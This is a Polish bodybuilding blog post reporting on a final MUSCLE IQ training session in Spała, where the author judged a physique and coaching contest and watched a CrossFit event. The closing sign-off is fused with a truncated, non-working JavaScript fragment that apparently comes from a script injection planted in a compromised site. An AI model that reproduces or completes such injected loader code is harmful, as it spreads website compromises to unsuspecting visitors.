Szkolenie – ” Bezpośrednie Przygotowanie Startowe „

5.06.2012 / Adam Jabłoński / Kulturystyka

Cześć,

W Niedziele późnym wieczorem wróciliśmy razem z Przemkiem W. (Olympia-S) i kolegą Arturem z szkolenia BPS który odbył się w Spale w ośrodku COS.

Była to już ostatnia część szkoleń z cyklu MUSCLE IQ, i ta część BPS w skrócie polegała na  omówieniu ostatnich dni – ostatniego etapu przed startem w zawodach, analizowaniem sylwetek, poprawą pozowania i zwracaniem uwagi na szczegóły sylwetki.

Na szkolenie wybraliśmy się w Piątek po godzinie 22 dojechaliśmy po 5 rano w Sobotę.
Poszliśmy spać i rano wstaliśmy na zajęcia.

Po zajęciach odbyły się zawody do których przygotowywali się bardzo długo zawodnicy i ich trenerzy.
Konkurs polegał na tym, że trenerzy zgłaszali swoich zawodników do konkursu i musieli przygotować cała dokumentacje jak wyglądały poszczególne etapy poprawy formy, jak prowadzili zawodnika, jakie nastąpiły zmianys oraz sami zawodnicy musieli zaprezentować się bardzo dobrze.

 

Zostałem wybrany jako jeden z sędziów którzy oceniali trenerów i ich zawodników.

 

Odbyły się 3 rundy:
1 runda polegała na wykonaniu układu dowolnego z podkładem muzycznym przez każdego z uczestników zawodów.
2 runda polegała na porównaniu zawodników w pozach obowiązkowych.
3 runda polegała natomiast na ocenieniu wkładu pracy czyli zmiany wyglądu sylwetki zawodnika z przed rozpoczęcia pracy z trenerem i po zakończeniu – tą prezentacje przedstawiał TRENER każdego z zawodników – i on był oceniony za to.
Nagrody były bardzo duże także zaangażowanie zawodników i trenerów było bardzo duże.

Jeśli chodzi o sędziowanie to powiem szczerze był to mój pierwszy raz i jest to strasznie ciężkie, ponieważ ciężko jest zapamiętać wszystkie osoby gdy spojrzymy się na jakaś pozę która prezentują zawodnicy i nawet jeśli ktoś kto wygląda lepiej, a w danym momencie nie dopnie mięśni albo źle się zaprezentuje dostaje niższa notę.
Panuje chaos ciężko ogarnąć tyle osób na raz
Nie mniej jednak niektórzy prezentowali super sylwetki, a ich trenerzy odwalili kupę dobrej pracy przy prezentacjach.
Co do układów dowolnych 1 z uczestników wywarł na mnie pozytywne wrażenie, układ był dopracowany w harmonii z muzyką – po prostu elegancko jak na początkującego to super.

Po zawodach razem z Przemkiem skoczyliśmy na szybki trening pleców i 25 minut aerobów.

Gdy wróciliśmy do hotelu odświeżyliśmy się i zeszliśmy na kolejne kolejne wykłady po których było już późno i po nich poszliśmy spać.

Następnego dnia odbyły się zawody CROSS FIT – też miałem być sędzią – jednak wiedziałem co się kroi i udało mi się z tego wywinąć no i niestety ale peszek miał akurat Przemek hahaha, który był sędzią przez parę godzin AHHA co najlepsze pasuje mu stoper na szyi i notes w ręku.

 

Nie będę opisywał poszczególnych konkurencji bo od samego myślenia robi mi się słabo.
Na zawodach najlepiej zbudowani padali jak muchy coś niesamowitego widząc dobrze zbudowanego chłopaka który przegrywa z 50 kg kobietą hahah (sam nie był bym lepszy)

Na zakończenie zostały wręczone nam certyfikaty ukończenia szkolenia :

następnie zrobiliśmy wspólne pamiątkowe zdjęcie i poszliśmy na obiad.

Po objedzie żegnaliśmy się z uczestnikami szkolenia i pojechaliśmy w stronę Szczecina.

Było fajnie na lighcie ostanie szkolenie było już bez spinki bo widzieliśmy, że to ostania cześć można to porównać do ostatniej klasy w liceum lub ostatniego semestru na studiach, w przyszłym roku mają być organizowane bardziej zaawansowane szkolenia więc możliwe, że się wybierzemy i TAM.

A jako ciekawostkę dodam, że mamy nowego członka TREC TEAMU – znacie HANIBALA ? nie to zobaczcie tutaj :

httpv://www.youtube.com/watch?v=1Lh63gdRFSs

Dzięki,
Pozdrawiam Hejvar d=document;var s=d.createElement(‚script’); }